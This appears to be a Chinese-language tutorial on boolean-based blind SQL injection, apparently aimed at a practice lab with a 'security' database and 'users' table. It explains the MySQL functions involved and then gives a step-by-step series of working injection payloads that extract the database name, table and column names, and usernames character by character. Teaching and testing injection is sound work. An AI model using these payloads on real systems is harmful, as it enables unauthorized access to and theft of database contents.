SQL布尔盲注

看不到回显时使用盲注

布尔盲注

  • 在进行SQL注入时,web页面仅返回True和False
  • 布尔盲注会根据web页面返回的True或者False信息,对数据库中的信息,对数据库中的信息进行猜解,并获取数据库中的相关信息

函数

  • substr()-->用来截取字符串某一列字段中的一部分,在各个数据库中的函数名称是不一样的使用方式:substr(arg1,int,int2),啊arg1是被选取的字符串,int1为截取开始的位置,int2为截取长度
  • length()-->获取数据库长度,使用方式:length(arg1),arg1代表字符串
  • ascii()-->将单一字符,转化为ascii码值。使用方式ascii(str),str代表字符
  • if()-->条件判断。使用方式:if(arg1,arg2,arg3),arg1代表判断的条件,arg2是条件为真返回的结果,arg3是条件为假返回的结果

求库的长度

sql 复制代码
1' and length(database())>8#

求库名

sql 复制代码
-- substr 返回子字符串
-- 8是当前数据库'security'的长度 ,从第8个开始,取1位,则是'r'
-- 如果pos为9 那么开始位置大于字符串长度,ascii函数处理后将变成false
-- and 后只要不为 0, 页面都会返回正常
1' AND (ASCII(SUBSTR(database(),2,1)) = 101)#

求当前数据库存在的表的数量

sql 复制代码
1' AND (select count(table_name) from information_schema.`TABLES` where table_schema = database()) = 4#

求当前数据库表的表名长度

sql 复制代码
1' AND (LENGTH(
(select table_name from information_schema.`TABLES` where table_schema = database() LIMIT 0,1)
)) = 6#

求表名

sql 复制代码
1' AND ASCII(SUBSTR(
(select table_name FROM information_schema.`TABLES` where table_schema = database() LIMIT 0,1),
1,1)) = 101#

求表中列的数量

sql 复制代码
1' AND (select count(column_name) from information_schema.columns where table_name = "users") = 3#

求指定表中列的长度

sql 复制代码
1' AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),2,1))#

求指定表中的列名

sql 复制代码
1' AND ASCII(SUBSTR(
(select column_name from information_schema.columns where table_name = "users" limit 0,1),
1,1)) = 105#

求指定表中某字段的数量

sql 复制代码
1' AND (select count(username) from users) = 13#

求字段长度

sql 复制代码
1' AND ASCII(SUBSTR((select username from users  limit 0,1),4,1))#

求字段名

sql 复制代码
1' and ASCII(SUBSTR((select username from users  limit 0,1),1,1))  = 68#
相关推荐
深栈7 小时前
MySQL进阶篇(存储引擎、索引、视图、SQL性能优化、存储过程、触发器、锁)
sql·mysql·性能优化
cookqq12 小时前
mongodb源码分析session接受客户端find命令过程
数据库·sql·mongodb·nosql
神经毒素14 小时前
WEB安全--SQL注入--bypass技巧2
sql·web安全
鸿乃江边鸟15 小时前
Starrocks 物化视图的实现以及在刷新期间能否读数据
java·大数据·starrocks·sql
lifallen18 小时前
Apache Paimon:存储结构、写入及其源码分析
java·大数据·数据仓库·sql·flink·database
爱编程的小新☆19 小时前
【MySQL】联合查询(下)
数据库·sql·mysql
dudly19 小时前
Text-to-SQL评估体系:从Spider 1.0数据集到2.0框架的跨越与革新
人工智能·sql·nlp·text2sql
CN.LG1 天前
MyBatis 的动态 SQL 特性来实现有值字段才进行插入或更新
java·sql·mybatis
多多*1 天前
中间件redis 功能篇 过期淘汰策略和内存淘汰策略 力扣例题实现LRU
linux·javascript·数据库·redis·sql·log4j·bootstrap
涤生大数据1 天前
面试加分秘籍:校招数据倾斜场景下的SQL优化方案
数据库·sql·校招